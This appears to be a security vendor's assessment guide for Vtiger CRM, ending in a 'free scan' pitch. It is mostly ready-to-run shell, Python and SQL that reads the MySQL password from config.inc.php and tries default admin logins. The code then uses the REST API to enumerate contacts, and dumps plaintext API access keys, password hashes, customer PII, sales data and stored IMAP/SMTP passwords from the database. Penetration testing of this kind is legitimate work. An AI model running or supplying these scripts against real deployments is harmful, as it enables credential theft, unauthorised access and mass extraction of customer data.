Vtiger CRM is a widely deployed open-source CRM platform used by SMBs and enterprises to manage sales pipelines, customer contacts, and business documents — it contains highly sensitive business intelligence. Key assessment areas: config.inc.php exposes the MySQL database password; admin credentials are frequently weak; the REST API uses a per-user access key stored in plaintext in the database; and MySQL contains all customer contacts, sales opportunities, and business documents. This guide covers systematic Vtiger CRM security assessment.
# Vtiger CRM — config.inc.php MySQL credential extraction
VT_URL="https://crm.example.com"
# config.inc.php — Vtiger main configuration
cat /var/www/vtigercrm/config.inc.php 2>/dev/null
# $dbconfig['db_server'] = 'localhost';
# $dbconfig['db_port'] = '3306';
# $dbconfig['db_name'] = 'vtigercrm';
# $dbconfig['db_username'] = 'vtigercrm';
# $dbconfig['db_password'] = '...'; <-- MySQL password
python3 -c "
import re
content = open('/var/www/vtigercrm/config.inc.php').read()
patterns = {
'db_password': r\"\\\$dbconfig\['db_password'\]\s*=\s*'([^']+)'\",
'db_username': r\"\\\$dbconfig\['db_username'\]\s*=\s*'([^']+)'\",
'db_name': r\"\\\$dbconfig\['db_name'\]\s*=\s*'([^']+)'\",
}
for name, pattern in patterns.items():
m = re.search(pattern, content)
if m:
print(f'{name}: {m.group(1)[:60]}')
" 2>/dev/null
# Test default admin credentials
for CRED in "admin:admin" "admin:password" "administrator:admin" "admin@example.com:admin"; do
USER=$(echo $CRED | cut -d: -f1)
PASS=$(echo $CRED | cut -d: -f2)
STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
-X POST "${VT_URL}/index.php" \
-d "module=Users&action=Authenticate&user_name=${USER}&user_password=${PASS}&__csrf_token=" \
-c /tmp/vt_cookies 2>/dev/null)
echo "${USER}/${PASS}: HTTP ${STATUS}"
done
# Vtiger CRM REST API — access key authentication assessment
VT_URL="https://crm.example.com"
# Vtiger REST API uses a two-step authentication:
# 1. GET challenge token
# 2. MD5(challenge + accessKey) to login and get sessionId
# Step 1: Get challenge token
CHALLENGE=$(curl -s "${VT_URL}/webservice.php?operation=getchallenge&username=admin" 2>/dev/null | \
python3 -c "import json,sys; d=json.load(sys.stdin); print(d.get('result',{}).get('token',''))" 2>/dev/null)
echo "Challenge token: ${CHALLENGE}"
# Step 2: Login with MD5(challenge + accessKey)
# Access key is stored in vtiger_users table in MySQL
ACCESS_KEY="user-access-key-from-db"
MD5_KEY=$(echo -n "${CHALLENGE}${ACCESS_KEY}" | md5sum | cut -d' ' -f1)
SESSION=$(curl -s "${VT_URL}/webservice.php" \
-d "operation=login&username=admin&accessKey=${MD5_KEY}" 2>/dev/null | \
python3 -c "import json,sys; d=json.load(sys.stdin); print(d.get('result',{}).get('sessionName',''))" 2>/dev/null)
echo "Session ID: ${SESSION}"
# With session ID — list all contacts (full CRM data access)
curl -s "${VT_URL}/webservice.php?operation=query&sessionName=${SESSION}&query=SELECT%20*%20FROM%20Contacts%20LIMIT%2010" \
2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for r in d.get('result',[])[:5]:
print(f' {r.get(\"firstname\")} {r.get(\"lastname\")} - {r.get(\"email\")}')
" 2>/dev/null
# Access key extraction from MySQL
DB_PASS="extracted-db-password"
mysql -u vtigercrm -p"${DB_PASS}" vtigercrm 2>/dev/null << 'EOF'
SELECT user_name, user_password, accesskey, is_admin, email1
FROM vtiger_users
WHERE deleted = 0
LIMIT 20;
-- accesskey: plaintext access key for REST API
-- user_password: MD5 hash of password
EOF
# Vtiger CRM MySQL database — CRM data and business intelligence extraction
DB_PASS="extracted-db-password"
mysql -u vtigercrm -p"${DB_PASS}" vtigercrm 2>/dev/null << 'EOF'
-- All contacts (customer PII)
SELECT vc.firstname, vc.lastname, vc.email, vc.phone,
vca.mailingstreet, vca.mailingcity, vca.mailingcountry
FROM vtiger_contactdetails vc
LEFT JOIN vtiger_contactaddress vca ON vc.contactid = vca.contactaddressid
LIMIT 20;
-- Sales opportunities (business intelligence)
SELECT vp.potentialname, vp.amount, vp.closingdate,
vp.sales_stage, vp.probability
FROM vtiger_potential vp
ORDER BY vp.amount DESC
LIMIT 20;
-- Email credentials stored in vtiger
SELECT veo.mailbox, veo.mail_server, veo.mail_serverusername, veo.mail_serverpassword
FROM vtiger_mailscanner_status veo
LIMIT 5;
-- mail_serverpassword: IMAP/SMTP password for email integration
-- All accounts (company data)
SELECT va.accountname, va.website, va.annualrevenue, va.employees
FROM vtiger_account va
ORDER BY va.annualrevenue DESC
LIMIT 20;
EOF
| Security Test | Method | Risk |
|---|---|---|
| config.inc.php db_password extraction | Read config.inc.php — MySQL credentials for all CRM data including contacts, opportunities, and email passwords | Critical |
| vtiger_users accesskey plaintext extraction | MySQL SELECT accesskey FROM vtiger_users — plaintext REST API access keys; full CRM API access without knowing user passwords | Critical |
| Admin credential brute-force (admin/admin) | POST /index.php with admin credentials — full CRM access; all customer data, sales pipeline, business intelligence | High |
| REST API authentication and data enumeration | GET /webservice.php?operation=getchallenge then login — enumerate all contacts, accounts, opportunities; complete CRM data extraction | High |
| Email IMAP/SMTP credential extraction | MySQL SELECT mail_serverpassword FROM vtiger_mailscanner_status — email integration credentials for IMAP and SMTP accounts | High |
Ironimo tests Vtiger CRM deployments for config.inc.php db_password extraction, vtiger_users accesskey plaintext enumeration, admin/admin credential brute-force, REST API /webservice.php authentication and data access testing, vtiger_users MD5 password hash extraction, customer PII extraction from vtiger_contactdetails, sales opportunity business intelligence from vtiger_potential, email IMAP/SMTP credential disclosure from vtiger_mailscanner_status, document storage web-accessible assessment, and vtiger_account revenue and employee data enumeration.
Start free scan